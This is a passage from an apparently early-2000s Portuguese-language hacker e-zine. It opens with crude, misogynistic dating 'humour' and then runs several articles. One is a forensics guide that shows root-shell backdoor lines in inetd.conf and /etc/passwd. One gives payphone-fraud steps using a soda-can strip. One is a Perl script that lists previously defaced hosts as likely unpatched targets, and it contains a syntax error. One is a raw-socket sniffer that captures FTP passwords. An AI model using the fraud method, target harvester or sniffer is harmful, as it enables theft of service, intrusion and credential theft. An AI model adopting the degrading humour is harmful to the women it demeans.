Vale esconder o bafo atrs de um peido asfixiante?

2.6 Esteja certo de que seu desodorante est dentro do prazo de validade.
E o que eu fao se estiver vencido? Reclamo no PROCON?

2.7 No fique passando a mo no prprio peito. Ns temos que te achar 
    gostoso, e no voc.
O gesto instintivo de passar a mo no peito no quer dizer que ns nos 
achamos gostosos. Apenas o utilizamos quando estamos com uma mulher 
pouco interessante, para induz-la a pensar que somos convencidos e a 
desistir logo da gente, sem mago-la e sem ter que aturar mais tarde 
insuportveis choradeiras e ameaas de suicdio.

2.8 No cuspa enquanto fala. Se ns cuspirmos, ache lindo.
Ok, prometo no cuspir. E, se voc cuspir, vou achar o mximo, sobretudo
se cuspir na cabea do meu pau!



3. O BEIJO

3.1 Voc quer conhecer a mulher a fundo, mas enfiando sua lngua na 
    goela da coitada s vai obrig-la a revelar o que jantou.
O duro dessa revelao  constatar que o creme de leite usado no molho 
tem gosto de esperma.

3.2 Nossa boca NO  um parque de diverso e sua lngua NO   uma roda 
    gigante. Sem movimentos simetricamente circulares.  o cmulo do 
    anti-sexy.
Nunca ouvimos falar em movimentos simetricamente circulares, mas tudo 
bem. E que tal um movimento de vai-e-vem e no com a roda gigante da 
lngua mas com o trenzinho do pau?

3.3 No puxe nossos cabelos para trs. Voc no  o Piteco, entenda... 
    No estamos nas cavernas! O mximo que vai conseguir  irritao por
    estragar o nosso penteado.
Tudo bem, se voc quiser, a gente puxa s pra frente. E no se preocupe 
pelo penteado, se o resto valer a pena, a gente paga outro; pelo menos, 
o creme de enxge a gente fornece de graa.

3.4 Nunca meta a lngua com tudo no tmpano da menina e depois sugue. 
    Primeiro, porque ela pode usar aparelho auditivo e tal gesto a 
    deixaria realmente chateada. Segundo, porque voc est metendo a 
    coisa errada no lugar errado.
Terceiro, por que a gente no  abelha e no gosta de cera!

3.5 No nos lambuze, para sua prpria sade. Alguns cosmticos so para
    uso externo apenas.
E tem cosmtico para uso interno? Que eu saiba, vaselina no  cosmtico...

3.6 No  no.
Isso  bastante lgico! No tire, no pare...

3.7 No nem sempre  no. Voc tem que adivinhar.
Temos que adivinhar uma ova!  s procurar uma mulher menos histrica!

3.8 Dois nos  NO MESMO.
Dois no  sim, como as leis da lgica ensinam. Mas damos um desconto, 
afinal, esperar lgica de uma mulher seria demais...

3.9 Abrace-nos. Todas as mulheres gostam de abraos. Se possvel, 
    carregue-nos no colo. Isso nos mostrar que nosso regime valeu a 
    pena.
E, principalmente, poupar a sola dos sapatos que vocs tanto adoram.

3.10 Jamais nos carregue no colo se existir alguma chance de voc 
     desistir na metade do caminho. Isso  o fim.
Nisso concordamos. Realmente, uma queda de bunda no cho  muito pouco 
romntico e acabaria de vez com nosso teso!

3.11 Muitas mulheres gostam de barba-por-fazer. Mas lembre-se dela ao 
     dar um beijo empolgado na mulher. No queremos sair de um beijo 
     parecendo o Bozo.
A gente lembra, sim. O importante pra ns  que vocs se sintam umas 
palhaas depois de serem comidas!

3.12 Se formos no banheiro, aguarde quietinho no lugar.
Com certeza aproveitaremos ao mximo essa chance de ficarmos sozinhos e
em paz...

3.13 Se voc deixou de cumprir as regras desse item e formos no banheiro,
     pode ir embora, porque no voltaremos.
Pode ter certeza que irei embora se VOC estiver cumprindo a regra, pois
isso anula a chance de transar e esse  o meu nico interesse por voc!




4. A DESPEDIDA

4.1 Fique conosco na fila para pagar.
Com muito prazer, nada mais gostoso que uma boa encoxada na fila...

4.2 Pague.
S se valer a pena! A Lei do Consumidor  clara...

4.3 SEMPRE pegue nosso telefone.
OK, se isso for to importante para voc, a gente pega, nem que seja 
para fazer um trote de vez em quando ou para trocar com outros caras, 
voc sabe, tem gosto para tudo e o que  uma baranga para um pode ser 
uma gostosa para outro, dependendo da necessidade...

4.4 Cuidado com as luzes da sada. Olhando bem para voc, podemos nos 
decepcionar. Prefira as sombras.
A recproca  verdadeira...

4.5 Depois que formos, pense em ns. A mulher  extremamente intuitiva 
    e percebe se voc a esqueceu assim que virou as costas.
E se a gente pensa em vocs e morre de rir, vocs tambm percebem?




5. A CONTINUIDADE

5.1 Ligue NO DIA SEGUINTE.
Ok, ns somos cavalheiros e ligamos, mas... uma dica: se a ligao for 
a cobrar,  sinal de pouco interesse...

5.2 Puxe a conversa e, depois, no se preocupe: gostamos MESMO de falar.
Fale tudo o que quiser e o tempo que quiser... mas no se esquea que 
ns gostamos MESMO  de transar!

5.3 No fale "adivinha quem ". A gente sempre sabe quem . E se no 
    soubermos por algum motivo, no vai ser legal errar o nome...
Tudo bem, mas a gente nem sempre lembra com quem esteve a noite anterior!
Para evitar constrangimentos, seria interessante vocs darem algumas 
dicas pra gente se lembrar de vocs, como horrio exato em que a gente 
se encontrou, idade, altura, peso, cor de cabelos etc...

5.4 Se voc ligou e deu engano, provavelmente era essa a inteno. Sim,
    ns damos telefone errado.
Isso pode acabar sendo um golpe de sorte pra ns... quem sabe, no 
telefone errado no atenda a pessoa certa!

5.5 Chame-nos para sair novamente, marcando hora, dia e lugar. Largue a 
    mo de ser banana!
Pode ter certeza que ligarei, marcando hora, dia, lugar e roupa que voc
deve vestir... isso at te comer pela primeira vez, depois voc dana!

5.6 Esteja certo de que seu carro no fede.
No se preocupe, eu mando dedetizar o carro toda vez que saio com uma 
vagabunda!



www.humortadela.com.br










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   14 - Achando rastros de  ~YXXXXx_
  _xXXXXXX(          um ataque             )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Voce pode tar pensando... bah! Outro texto sobre security que o kra vai
falar as mesmas coisas que os outros ja falaram. Bem... talvez voce esteja
certo, mas sempre c encontra algo novo nestes como este e como este texto
foi escrito somente com a experiencia q eu tenho, e nao baseado em nenhum
outro. Eh capaz de voce aprender o suficiente para um texto.
   Okay... com base de experiencia propria e de outros ataques vou mostrar
aos admins como encontrar rastros (progs, backdoors, etc) que um hacker
pode ter deixado apos 0wnar seu sistema.
   Vamos estudar os rastros atraves do nivel de conhecimento que o
invasor possui...



   1. Lamer.
   Nao se preocupe... Sera muito facil encontrar rastros deixados por um
lamer. Primeiro porque lamers soh sabem fazer o que as receitas mostram,
eles nao se preocupam em variar as tecnicas usadas. Entao o que voce vai
encontrar vai ser exatamente como esta nos txts.
   Vamos ver...
   A backdoor mais lamah possivel voce pode encontrar no /etc/passwd.

[root@localhost /etc]# grep ":0:0:" /etc/passwd
root:x:0:0:root:/root:/bin/bash
lamah::0:0::/:/bin/sh

   Ok... achamos nosso lamer...
   Vamos ver c ele nao deixou outras backdoors aki...
   Outras 2 backdoors comums sao suidshell e inetdaemon. Para acha-las...

[root@localhost /etc]# grep "sh" /etc/inetd.conf
courier    stream  tcp     nowait  root    /bin/sh sh -i

   Uma variacao desta pode ser...

[root@localhost /etc]# grep "\-i" /etc/inetd.conf
swat       stream  tcp     nowait  root    /usr/sbin/swat swat -i

   Veja q o servico esta chamando o /usr/sbin/swat com os mesmos atributos
do /bin/sh. Vamos conferir para ver c swat == sh.

[root@localhost /etc]# ls /bin/*sh
/bin/ash   /bin/bsh   /bin/ksh   /bin/tcsh
/bin/bash  /bin/csh   /bin/sh    /bin/zsh
[root@localhost /etc]# cmp -c /bin/ash /usr/sbin/swat
/bin/ash /usr/sbin/swat differ: char 25, line 1 is  20 ^P 220 M-^P
[root@localhost /etc]# cmp -c /bin/bash /usr/sbin/swat
[root@localhost /etc]#

   Aha!!!
   Soh pra quem nao sabe... cmp serve para comparar arquivos.
   Comente a linha no inetd.conf e reinicie o inetd.
   Para achar suidshells use:

[root@localhost /]# find / -type f \( -perm -04000 -o -perm -02000 \) -user root

   Vai ser exibido uma lista com todos os arquivos suids com owner root.
Cabe a voce saber o que eh programa do linux e o que foi criado pelos
usuarios.
   Uma dica... eh comum deixar as suidshells no mesmo diretorio onde eles
deixam seus programas tais como xploits, sniffers e clearlogs. 
   Outra coisa... os diretorios usados sao na maioria das vezes os com
permissao de all+rwx como /tmp e /var/tmp ou nos homedirs. Tambem ha a
posibilidade deles criarem os dir por issu voce pode procurar por estes
com o comando:

[root@localhost /etc]# find / -type d -perm 0777

   Outro detalhe... Esses lamahs vao provavelmente rodar um portscan
qualquer no seu host por issu voce pode acha-lo no log do syslogd
(/var/logs/messages) caso ele nao tenha sido modificado.
   Procure tambem nos ~/.history's e nos wtmp, utmp e lastlog. Lamers
nunca dao muita importancia aos logs.



   2. Hacker Beginner.
   Este vai se parecido com o lamer qto ao fato dos diretorios... Ele
precisa de um lugar para por seus arquivos. Ache o diretorio e voce acha o
hacker. Mas neste caso isto pode se tornar mais dificiu.
   Caso o diretorio criado seja rwxr-xr-x como acha-lo???
   Procure por sources de programas e se nao encontra-los tente usar:

[root@localhost nix]# strings a.out |grep /bin/sh
/bin/sh

   Issu serve para encontrar xploits ja que todos xploits tem esta string
pois eh o que eles executam. Procure-os nos homedirs e tmps tambem.
Arquivos ocultos sao muito usados.
   Existem programas q fazem busca de sniffers por devices. Rode-o e veja
se nao encontra nada suspeito. Rode tambem programas que procuram por logs
apagados pelo zap. Issu eh salvo caso o hacker tenha usado a minha versao
do zap alterado. =)
   Um hacker nao lamer no minimo iria colocar uma binder no seu sistema.
Para acha-lo use:

[root@localhost /root]# lsof -i

   Com isso sera listada todas as portas que estao sendo usadas. Procure
por algo suspeito como...

a.out     3454   root    3u  inet  84061       TCP *:31337 (LISTEN)

 

   3. Hacker eleet.
   Esquece. Se o hacker q ownou vc for mesmo eleet torna-se praticamente
impossivel de voce encontra-lo. Mas existe certas prevencoes que vc pode
fazer para detectar a presenca dele.
   Uma das coisas eh fazer backup dos logs toda a vez que alguem se logar.
   Crie uma particao somente para os logs.
   Coloque no /etc/.bash_profile:

#mude aki de acordo com a particao...
mount /dev/hda2 /mnt
d=`date --date "\`date |cut --bytes=5-10\`" +%j`
cp -f /var/run/utmp /mnt/utmp.$d
cp -f /var/log/lastlog /mnt/lastlog.$d
cp -f /var/log/wtmp /mnt/wtmp.$d
cp -f /var/log/messages /mnt/messages.$d
cp -f ~/.bash_history /mnt/history.$USER.$d
umount /mnt

   Pronto. Toda a vez q vc logar os arquivos de logs serao copiados para  
a particao indicada. Sera criado um arquivo diferente para cada dia,
para que voce possa comparar os dados e encontrar alguma alteracao feita.

   Bah! Chega! Nao aguento mais escrever. Ainda mais um texto todo
desestruturado como esse entao por hj eh soh.











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   15 - Fraudando Orelhoes  ~YXXXXx_
  _xXXXXXX(          a cartao              )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_             TPGA           _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


  Primeiramente gostaria  de  agradecer ao struck a oportuninade de escrever
esta humilde materia para essa  excelente  zine, esta t3ckn33k foi elaborada
por mim com intuito de colocar aqui na net algo  que  realmente funciona-se,
pois nunca encontrei nada sobre ligacoes infinitas que funcione corretamente.
Agora vamos ao que interessa e sem arrodeios.

Start:

-----------
Igredientes
-----------
1 - uma Lata de refrigerante ou cerveja
2 - algo cortante Ex.: Serra, Faca, tesoura, canivete
3 - Cuidado para nao se cortar :)

Depois de ter arrumado to este material secreto, faca assim:

Corte um pedaco da lata (tipo uma tira)

                                  Tira metalica
                        |==================================|        
   +/- Tamanho          |                                  |        
  ============>         |                                  |       
                        |                                  |
                        |==================================|


IMPORTANTE: O comprimento da tira tem que ser maior do que a do cartao
            telefonico comum.


Coloque a porra do pedaco como se fosse um cartao normal, depois de posto note
que vai ficar sobrando uma parte da tira do lado de fora, em seguida pegue o
fio metalico do gancho e encoste na parte do pedaco que ficou sobrando, agora
disque pra o numero desejado, quando a pessoa atender desencoste o fio da lata
depois de uns 3 minutos toque a lata novamente com o fio, isso fara com que a
lata fique novamente magnetizada.

(Obeserve que ficara um ruidinho assim zuuuuuummmmmmm ).

OBS: Em alguns orelhoes nao funciona :(

Obrigado e t+










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     16 - Attrition Scan    ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_         Cheat Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Bem...
   Tendo em vista q a maioria dos hosts hackeados nao se atualizam contra
as mesmas falhas usadas pelos invasores, decidi fazer este programinha que
busca por hosts defacementeds na attrition.
   Este scan cria uma host-list de acordo com o sistema q vc indicar e
estiver salvo na attrition. Eh facil de usar e nao vou fikar perdendo
tempo explicando. 

<++> attr/at-scan.pl
#!/usr/bin/perl
#
#  Attrition Host Scanner
#  by Cheat Struck - cszine@xoommail.com
#
#  Este programa scaneia hosts no site da attrition e faz um host list.
#  O programa ainda esta meio instavel mas funfa.
#  Apenas hosts com os systemas identificados na attrition serao scaneados.
#
#

$host = "www.attrition.org";
get = "GET /mirror/attrition/\n\n";
#$get = "GET /mirror/attrition/2000-01.html\n\n";
#$get = "GET /mirror/attrition/2000-02.html\n\n";
#$get = "GET /mirror/attrition/2000-03.html\n\n";
#$get = "GET /mirror/attrition/2000-04.html\n\n";
#$get = "GET /mirror/attrition/2000-05.html\n\n";
#$get = "GET /mirror/attrition/2000-06.html\n\n";

use Socket;

print "Attrition Host Scanner";
print "\nby Cheat Struck \<cszine\@xoommail.com\>\n\n";
if ($ARGV[0] eq '') {
   print "Usage: atscan.pl \<sys\>\n";
   print "\n    Sys:";
   print "
          1 - Linux (rh, slack, suse, caldera, mandrake, debian, others);
          2 - BSD (FreeBSD, OpenBSD, NetBSD, BSDI, Power BSD);
          3 - Windows (NT, 95, 98, 2000);
          4 - SunOS (Solaris, SCO);
          5 - MAC (MacOS, MacOSX);
          6 - Unix (DigitalUnix, Compaq Tru64 Unix, Generic Unix);
          7 - MAC (MacOS, MacOSX);
          8 - HPUX;
          9 - Irix;
         10 - Aix;
         11 - NetWare;
         12 - Digital OSF1;
         13 - *NIXES;
         14 - All;

\n";

   exit;
}

$sys = $ARGV[0];
$p = 80;
$proto = getprotobyname('tcp');

&connection;
&data1;
close S;



sub gethost
{
        do{
            $i++;
        }while(substr($temp,$i-17,17) ne "(\<a href=\"http://");
        $l=$i;
        do{
            $l++;
#            printf("%s",substr($temp,$l,1));
        }while(substr($temp,$l-2,2) ne "\"\>");
        if(substr($temp,$l-3,1) ne "/") {
          printf("%s\n",substr($temp,$i,$l-$i-2));
        }
        else {
          printf( "%s\n" , substr($temp, $i, $l-$i-3) );
        }

}

sub connection
{
        $in_addr = (gethostbyname($host));
        $addr = sockaddr_in($p,$in_addr);
        socket(S, AF_INET, SOCK_STREAM, $proto) || die "Can't open socket";
        connect(S,$addr) || die "Can't Connect...";
        send (S,$get,0) || die "Can't send...";
}

sub data1
{

        $i=0; $temp="";
        do{
                read(S, $var1, 1) || die "Can't Read";
                $temp="$temp$var1"; $i++;

        }while(substr($temp,$i-7,7) ne '</html>');
        for($i=0; $i < length($temp); $i++) {
                if($sys == 1) { &linuxscan; }
                if($sys == 2) { &bsdscan; }
                if($sys == 3) { &winscan; }
                if($sys == 4) { &sunscan; }
                if($sys == 5) { &macscan; }
                if($sys == 6) { &unixscan; }
                if($sys == 7) { &macscan; }
                if($sys == 8) { &hpscan; }
                if($sys == 9) { &irixscan; }
                if($sys == 10) { &aixscan; }
                if($sys == 11) { &nwscan; }
                if($sys == 12) { &osscan; }
                if($sys == 13) { &nixes; }
                if($sys == 14) { &all; }
        }

}

sub linuxscan 
{
                if(substr($temp,$i-2,2) eq "Li" ||
                   substr($temp,$i-2,2) eq "Lr" ||
                   substr($temp,$i-2,2) eq "Ls" ||
                   substr($temp,$i-2,2) eq "Lu" ||
                   substr($temp,$i-2,2) eq "Lc" ||
                   substr($temp,$i-2,2) eq "Lm" ||
                   substr($temp,$i-2,2) eq "Lb" ||
                   substr($temp,$i-2,2) eq "La" ||
                   substr($temp,$i-2,2) eq "Ld" ) {
                      &gethost;
                }


}
sub bsdscan 
{
                if(substr($temp,$i-2,2) eq "Bf" ||
                   substr($temp,$i-2,2) eq "Bo" ||
                   substr($temp,$i-2,2) eq "BO" ||
                   substr($temp,$i-2,2) eq "Bn" ||
                   substr($temp,$i-2,2) eq "BI" ||
                   substr($temp,$i-2,2) eq "Bi" ||
                   substr($temp,$i-2,2) eq "Bp" ) {
                      &gethost;
                }
}
sub winscan
{
                if(substr($temp,$i-2,2) eq "NT" ||
                   substr($temp,$i-2,2) eq "Nt" ||
                   substr($temp,$i-2,2) eq "2k" ) {
                      &gethost;
                }
}
sub sunscan
{
                if(substr($temp,$i-2,2) eq "So" ||
                   substr($temp,$i-2,2) eq "Sc" ) {
                      &gethost;
                }
}
sub macscan
{
                if(substr($temp,$i-2,2) eq "Mo" ||
                   substr($temp,$i-2,2) eq "MO" ||
                   substr($temp,$i-2,2) eq "Mx" ||
                   substr($temp,$i-2,2) eq "MX" ) {
                      &gethost;
                }
}
sub unixscan
{
                if(substr($temp,$i-2,2) eq "DG" ||
                   substr($temp,$i-2,2) eq "Dg" ||
                   substr($temp,$i-2,2) eq "C6" ||
                   substr($temp,$i-2,2) eq "UN" ||
                   substr($temp,$i-2,2) eq "Un" ) {
                      &gethost;
                }
}
sub hpscan
{
                if(substr($temp,$i-2,2) eq "HP" ||
                   substr($temp,$i-2,2) eq "Hp" ) {
                      &gethost;
                }
}
sub irixscan
{
                if(substr($temp,$i-2,2) eq "Ir" ||
                   substr($temp,$i-2,2) eq "IR" ) {
                      &gethost;
                }
}
sub nwscan
{
                if(substr($temp,$i-2,2) eq "NW" ||
                   substr($temp,$i-2,2) eq "Nw" ) {
                      &gethost;
                }
}
sub aixscan
{
                if(substr($temp,$i-2,2) eq "Ax" ||
                   substr($temp,$i-2,2) eq "AX" ) {
                      &gethost;
                }
}
sub osscan
{
                if(substr($temp,$i-2,2) eq "OS" ||
                   substr($temp,$i-2,2) eq "Os" ) {
                      &gethost;
                }
}

sub nixes {
                if(substr($temp,$i-2,2) eq "Li" ||
                   substr($temp,$i-2,2) eq "Lr" ||
                   substr($temp,$i-2,2) eq "Ls" ||
                   substr($temp,$i-2,2) eq "Lu" ||
                   substr($temp,$i-2,2) eq "Lc" ||
                   substr($temp,$i-2,2) eq "Lm" ||
                   substr($temp,$i-2,2) eq "Lb" ||
                   substr($temp,$i-2,2) eq "La" ||
                   substr($temp,$i-2,2) eq "Ld" ||
                   substr($temp,$i-2,2) eq "Bf" ||
                   substr($temp,$i-2,2) eq "Bo" ||
                   substr($temp,$i-2,2) eq "BO" ||
                   substr($temp,$i-2,2) eq "Bn" ||
                   substr($temp,$i-2,2) eq "BI" ||
                   substr($temp,$i-2,2) eq "Bi" ||
                   substr($temp,$i-2,2) eq "Bp" ||
                   substr($temp,$i-2,2) eq "So" ||
                   substr($temp,$i-2,2) eq "Sc" ||
                   substr($temp,$i-2,2) eq "DG" ||
                   substr($temp,$i-2,2) eq "Dg" ||
                   substr($temp,$i-2,2) eq "C6" ||
                   substr($temp,$i-2,2) eq "UN" ||
                   substr($temp,$i-2,2) eq "Un" ||
                   substr($temp,$i-2,2) eq "HP" ||
                   substr($temp,$i-2,2) eq "Hp" ||
                   substr($temp,$i-2,2) eq "Ir" ||
                   substr($temp,$i-2,2) eq "IR" ||
                   substr($temp,$i-2,2) eq "Ax" ||
                   substr($temp,$i-2,2) eq "AX" ) {
                      &gethost;
                }

}
sub all {
                if(substr($temp,$i-2,2) eq "Li" ||
                   substr($temp,$i-2,2) eq "Lr" ||
                   substr($temp,$i-2,2) eq "Ls" ||
                   substr($temp,$i-2,2) eq "Lu" ||
                   substr($temp,$i-2,2) eq "Lc" ||
                   substr($temp,$i-2,2) eq "Lm" ||
                   substr($temp,$i-2,2) eq "Lb" ||
                   substr($temp,$i-2,2) eq "La" ||
                   substr($temp,$i-2,2) eq "Ld" ||
                   substr($temp,$i-2,2) eq "Bf" ||
                   substr($temp,$i-2,2) eq "Bo" ||
                   substr($temp,$i-2,2) eq "BO" ||
                   substr($temp,$i-2,2) eq "Bn" ||
                   substr($temp,$i-2,2) eq "BI" ||
                   substr($temp,$i-2,2) eq "Bi" ||
                   substr($temp,$i-2,2) eq "Bp" ||
                   substr($temp,$i-2,2) eq "So" ||
                   substr($temp,$i-2,2) eq "Sc" ||
                   substr($temp,$i-2,2) eq "DG" ||
                   substr($temp,$i-2,2) eq "Dg" ||
                   substr($temp,$i-2,2) eq "C6" ||
                   substr($temp,$i-2,2) eq "UN" ||
                   substr($temp,$i-2,2) eq "Un" ||
                   substr($temp,$i-2,2) eq "HP" ||
                   substr($temp,$i-2,2) eq "Hp" ||
                   substr($temp,$i-2,2) eq "Ir" ||
                   substr($temp,$i-2,2) eq "IR" ||
                   substr($temp,$i-2,2) eq "Ax" ||
                   substr($temp,$i-2,2) eq "AX" ||
                   substr($temp,$i-2,2) eq "NT" ||
                   substr($temp,$i-2,2) eq "Nt" ||
                   substr($temp,$i-2,2) eq "2k" ||
                   substr($temp,$i-2,2) eq "Mo" ||
                   substr($temp,$i-2,2) eq "MO" ||
                   substr($temp,$i-2,2) eq "Mx" ||
                   substr($temp,$i-2,2) eq "MX" ||
                   substr($temp,$i-2,2) eq "NW" ||
                   substr($temp,$i-2,2) eq "Nw" ||
                   substr($temp,$i-2,2) eq "OS" ||
                   substr($temp,$i-2,2) eq "Os" ) {
                      &gethost;
                }

}

<-->










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~    17 - Sniffing Simples   ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Todos sabem o que eh sniffar uma maquina nao?? Interceptar pacotes
enviados de uma maquina `a outra...
   Os sniffer atuais o que fazem eh sniffar uma interface (tipo eth0) e
gravar dados importantes tipo login/pass. A tecnica que vou mostrar aki eh
mais simples, ja que este texto serve apenas como introducao ao sniffing.
   O que vou fazer aki eh usar o recvfrom() no tcp para exibir todo o
conteudo dos pacotes recebidos por este protocolo, seja em ftp, telnet,
smtp, etc...
   O programa q eu fiz ainda eh muito simples mas voce pode usa-lo tanto
para um ataque (caso outros sniffers nao estejam compilando) qto para
vijiar o que os outros estao fazendo na sua maquina.
   Vejamos...

~# ./sniff

   Em outra shell...

~$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
Name (127.0.0.1:lamah): struck
331 Password required for struck.
Password:
230 User struck logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quit
221 Goodbye.
 
   Voltando a 1a shell...

~# ./sniff
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
USER struck
331 Password required for struck.
PASS struck
230 User struck logged in.
SYST
215 UNIX Type: L8
QUIT
221 Goodbye.

   Blza! Tipo... Voce pode usa-lo no telnet e vigiar o que seus usuarios
estao fazendo no momento. Porem Caso muitas pessoas estejam conectadas os
pacotes ficarao misturados e fika mais dificio de entender quem esta
fazendo cada coisa... O mesmo pode acontecer caso conectem-se por telnet e
ftp simultaneamente. Por isso o melhor eh utiliza-lo apenas qdo 1 unico
usuario estiver conectado em outros casos existem programas tipo telnetsnoop
que fazem isso.
   Ah! SSH nao pode ser sniffado pois os pacotes sao criptografados.
   Para parar o sniffer de Ctrl+C.

<++> sniff/sniff.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netdb.h>

int main(int argc, char *argv[]) {
  struct protoent *p;
  struct sockaddr_in fr0m;
  int tam, size;
  char *pkt[4096];
  int s0ck;

  p = getprotobyname("tcp");
  if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0;

  do {
    memset(&pkt,0x00,sizeof(pkt));
    tam = sizeof(fr0m);
    size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam);
    printf("%s", &pkt[13]);
  } while (!0);
}
<-->










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~    18 - Mais 1 programa    ~YXXXXx_
  _xXXXXXX(           l33t                 )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_          Anonymous         _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


      Este programa eh tao el8 que achei que seria muita sakanagem identificar
o autor pq dae sua mailbox iria encher tanto com gente elogiando seu programa
que ele fikaria puto cumigo.
      Mas o que o programa faz afinal??? Bem... ele faz simplesmente magica!
      Aproveitem entao...

<++> Superprogs/magico.c
#include <stdio.h>
char nome[100];
int idade;

main(int argc, char **argv[]){
if (argc >= 2) {
printf("Use %s \n\r",argv[0]);
exit(0);
}
printf("Oi, eu sou um programinha mahgico!\n\r");
printf("Digite seu nome: ");
scanf("%s",nome);
printf("Digite sua idade: ");
scanf("%d",&idade);
printf("\n\rAGORA O MAIS INCRIVEL!\a\a\a\a");
system("clear");
printf("\n\rSEU NOME EH %s E VOCE TEM %d ANOS!!!",nome,idade);
printf("\n\rPrograma Magico Versao Beta By encxxxxx! encxxxxx@xxxxxxx.com\n\r");
printf("\n\rTCHAU FOFFYS PEOPLE!\n\r");
}
<-->












        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        19 - Emails         ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Hm... Agora sim chegou cartas...



=======================
=======================
=======================

To: <cszine@xoommail.com>
From: **********<********@bol.com.br>  
Subject: Fatar Error  
Date: Wed, 7 Jun 2000 15:35:04 -0300  
 

Opa !

Fala Struck !
Blza kra ?
Tipo vio, achei d+ sua zine, muito boa mesmo ...... 
gostei alem do mais, pq eu lih jah toda as coisas que vc 
jah escreveu, desde a cs zine 01 ateh a f3 01 ...  e vih 
a sua evolucao, etc...
sinceramente, nao tenho do que reclamar, por que tudo o 
que foi escrito eh supimpa !
Se vc ceder um espaco, eu escrevo algo pra zine ...
Tudo bem que a gente nao paga assinatura da f3, mas ve 
se lanca novas edicoes com menor espaco de tempo entre 
elas, se bem que nao posso falar muito, por causa da 
s13...


aquilo q vc pois dos email do cliptor, eu desconfiava 
desde o inicio heheheeh .... mas veja bem, de um lado 
ele estah certo neh hehehe .... mas por outro lado, 
email nao tem lado, entao fica assim..

Acho que bebi d+ ..... to muito animado ... ve se dah um 
pulinho naquele canal (num vou querer fazer prop.) ...

[] 's 

----------------------------------------

   Aee!!! Legal eu descobrir q tem gente q acompanha minha "carreira"
desde os 13 (ou 14) anos. C forem reler as 1as edicoes da zine podem ver
q eu era um bosta e por issu achava q nao havia feito mto sucesso. Mas
vejo q tava errado.
   Sobre o cliptor... sem comentarios... ele fiko puto cumigo. hehehe.
   Ah! tipo, a zine demora pq eu tenhu uma vida pra viver... Mesmo sendo
vagabundo eu tenhu meus compromissos entao como a zine eh apenas um passa-
tempo e nao um trabalho, escrevo ela com calma sem stress q dae fika AWS!
   Beber rlz!!!





=======================
=======================
=======================

To: <cszine@xoommail.com>   
From: ******@linuxbr.com.br  
Date: Dom, 11 Jun 2000 0:59:27 GMT -3  
Subject: Ultima tentativa  
 
    Cheat Struck, seu viado:
  Pq tu nunca mais me respondeu ? Viro mascarado :D ?
Essa eh a ultima vez q tanto falar contigo..
VE SE RESPONDE PORRA

-----------------------

   Nao eh culpa minha. Meu ex-email tava cum pau. =)
   Tenta mandar dinovo q achu q ja ta arrumado...




=======================
=======================
=======================

To: <cszine@xoommail.com>
From:  ********<******@bol.com.br>
Date:  Mon, 19 Jun 2000 03:36:50 -0300 
Subject:  Tudo bom 

Ae mano beleza?

Eu tava na net procurando uns zines e achei o seu e lir
aquela sua biografia hehehe
poxa mano tipo.. ganhei o computa na mesma epoca que vc
... comecei a me interessar por
hacking tem pouco tempo... mais nao estou me dando bem
pq deparo com um bando de egoitas que pensam que ue
quero saber as receitinhas de bolo entende... vc teve a
sorte de conhecer
cars legais e ir aprendendo aos pouco com eles.. tipo
man.. to ae com 17 anos hehe quero me especializar em
"hacking" e vi que vc  uma pessoa que pode me ajudar..
pq vc num parece egoista e tauz.. mais como eu disse..
no quero que vc me de receitinhas de nada.. s quero me
